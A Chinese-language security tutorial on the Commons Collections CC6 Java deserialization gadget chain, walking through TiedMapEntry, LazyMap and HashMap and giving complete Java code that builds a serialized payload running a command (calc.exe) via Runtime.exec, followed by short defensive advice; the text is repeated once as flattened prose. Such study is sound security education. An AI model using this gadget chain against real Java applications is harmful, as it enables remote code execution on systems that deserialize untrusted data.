不删除"key"的CC6反序列化
字数 1495 2025-08-10 23:41:50

CC6反序列化漏洞利用详解

一、CC6链概述

CC6是Commons Collections反序列化利用链的一个增强版本,能够在高版本Java中使用。它基于CC1链,但替换了CC1中使用的AnnotationInvocationHandler类,转而利用HashMap类作为反序列化的触发点。

二、核心利用类分析

1. TiedMapEntry类

TiedMapEntry类是CC6链的核心,包含两个关键方法:

getValue()方法

public Object getValue() {
    return map.get(key);
}
  • 通过map.get(key)调用,可以触发后续的利用链
  • map字段将指向我们构造的LazyMap
  • key字段是我们控制的参数

hashCode()方法

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^ 
           (value == null ? 0 : value.hashCode());
}
  • 调用getValue()方法,间接触发map.get(key)
  • 这是整个利用链的触发点

2. LazyMap类

LazyMap与CC1中相同,通过其get()方法触发Transformer链:

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = factory.transform(key);
        super.map.put(key, value);
        return value;
    }
    return super.map.get(key);
}
  • factory是我们构造的ChainedTransformer
  • 当key不存在时,会调用transform()方法

3. HashMap类

HashMap在反序列化时会调用hash()方法计算键的哈希值:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
  • 当key是TiedMapEntry对象时,会调用其hashCode()方法
  • 这是整个利用链的入口点

三、利用链构造

1. Transformer链构造

与CC1相同的Transformer数组构造:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

2. LazyMap构造

Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

3. TiedMapEntry构造

为了避免在put时立即触发payload,先使用普通HashMap:

TiedMapEntry entry = new TiedMapEntry(new HashMap(), "sakut2");

4. HashMap构造并添加entry

HashMap hashMap = new HashMap();
hashMap.put(entry, "sakut2");

5. 反射修改map字段

将TiedMapEntry中的map字段替换为恶意的lazyMap:

Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, lazyMap);

四、完整利用代码

public static void main(String[] args) throws Exception {
    // 构造Transformer链
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[]{String.class, Class[].class}, 
            new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", 
            new Class[]{Object.class, Object[].class}, 
            new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new String[]{"calc.exe"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    
    // 构造LazyMap
    Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
    
    // 构造TiedMapEntry(初始使用普通HashMap避免立即触发)
    TiedMapEntry entry = new TiedMapEntry(new HashMap(), "sakut2");
    
    // 将entry放入HashMap
    HashMap hashMap = new HashMap();
    hashMap.put(entry, "sakut2");
    
    // 反射修改TiedMapEntry的map字段为恶意的lazyMap
    Field field = entry.getClass().getDeclaredField("map");
    field.setAccessible(true);
    field.set(entry, lazyMap);
    
    // 序列化和反序列化触发
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC6"));
    oos.writeObject(hashMap);
    
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC6"));
    ois.readObject();
}

五、利用链调用流程

  1. HashMap.readObject() 反序列化时调用hash()方法
  2. hash()方法调用键的hashCode()方法(我们的键是TiedMapEntry
  3. TiedMapEntry.hashCode()调用getValue()
  4. TiedMapEntry.getValue()调用map.get(key)(map已被我们替换为LazyMap
  5. LazyMap.get()调用factory.transform(key)(factory是我们的ChainedTransformer
  6. ChainedTransformer.transform()依次执行我们构造的命令

六、关键技巧

  1. 延迟触发技巧:初始使用普通HashMap构造TiedMapEntry,避免在put时立即触发payload
  2. 反射修改字段:通过反射在put后将map字段替换为恶意的LazyMap
  3. 不删除key:与某些CC链不同,这里不需要删除key,直接利用LazyMap.get()的机制

七、防御措施

  1. 升级Commons Collections库到安全版本
  2. 使用Java反序列化过滤器(JEP 290)
  3. 避免反序列化不可信数据
  4. 使用白名单机制控制可反序列化的类

八、总结

CC6链通过HashMap反序列化触发TiedMapEntry.hashCode(),进而调用LazyMap.get()执行恶意Transformer链。相比CC1,它不依赖AnnotationInvocationHandler,适用于更高版本的Java环境。通过反射技巧延迟触发payload是其关键创新点。

CC6反序列化漏洞利用详解 一、CC6链概述 CC6是Commons Collections反序列化利用链的一个增强版本,能够在高版本Java中使用。它基于CC1链,但替换了CC1中使用的 AnnotationInvocationHandler 类,转而利用 HashMap 类作为反序列化的触发点。 二、核心利用类分析 1. TiedMapEntry类 TiedMapEntry 类是CC6链的核心,包含两个关键方法: getValue()方法 通过 map.get(key) 调用,可以触发后续的利用链 map 字段将指向我们构造的 LazyMap key 字段是我们控制的参数 hashCode()方法 调用 getValue() 方法,间接触发 map.get(key) 这是整个利用链的触发点 2. LazyMap类 LazyMap 与CC1中相同,通过其 get() 方法触发 Transformer 链: factory 是我们构造的 ChainedTransformer 当key不存在时,会调用 transform() 方法 3. HashMap类 HashMap 在反序列化时会调用 hash() 方法计算键的哈希值: 当key是 TiedMapEntry 对象时,会调用其 hashCode() 方法 这是整个利用链的入口点 三、利用链构造 1. Transformer链构造 与CC1相同的Transformer数组构造: 2. LazyMap构造 3. TiedMapEntry构造 为了避免在put时立即触发payload,先使用普通HashMap: 4. HashMap构造并添加entry 5. 反射修改map字段 将TiedMapEntry中的map字段替换为恶意的lazyMap: 四、完整利用代码 五、利用链调用流程 HashMap.readObject() 反序列化时调用 hash() 方法 hash() 方法调用键的 hashCode() 方法(我们的键是 TiedMapEntry ) TiedMapEntry.hashCode() 调用 getValue() TiedMapEntry.getValue() 调用 map.get(key) (map已被我们替换为 LazyMap ) LazyMap.get() 调用 factory.transform(key) (factory是我们的 ChainedTransformer ) ChainedTransformer.transform() 依次执行我们构造的命令 六、关键技巧 延迟触发技巧 :初始使用普通HashMap构造 TiedMapEntry ,避免在put时立即触发payload 反射修改字段 :通过反射在put后将 map 字段替换为恶意的 LazyMap 不删除key :与某些CC链不同,这里不需要删除key,直接利用 LazyMap.get() 的机制 七、防御措施 升级Commons Collections库到安全版本 使用Java反序列化过滤器(JEP 290) 避免反序列化不可信数据 使用白名单机制控制可反序列化的类 八、总结 CC6链通过 HashMap 反序列化触发 TiedMapEntry.hashCode() ,进而调用 LazyMap.get() 执行恶意Transformer链。相比CC1,它不依赖 AnnotationInvocationHandler ,适用于更高版本的Java环境。通过反射技巧延迟触发payload是其关键创新点。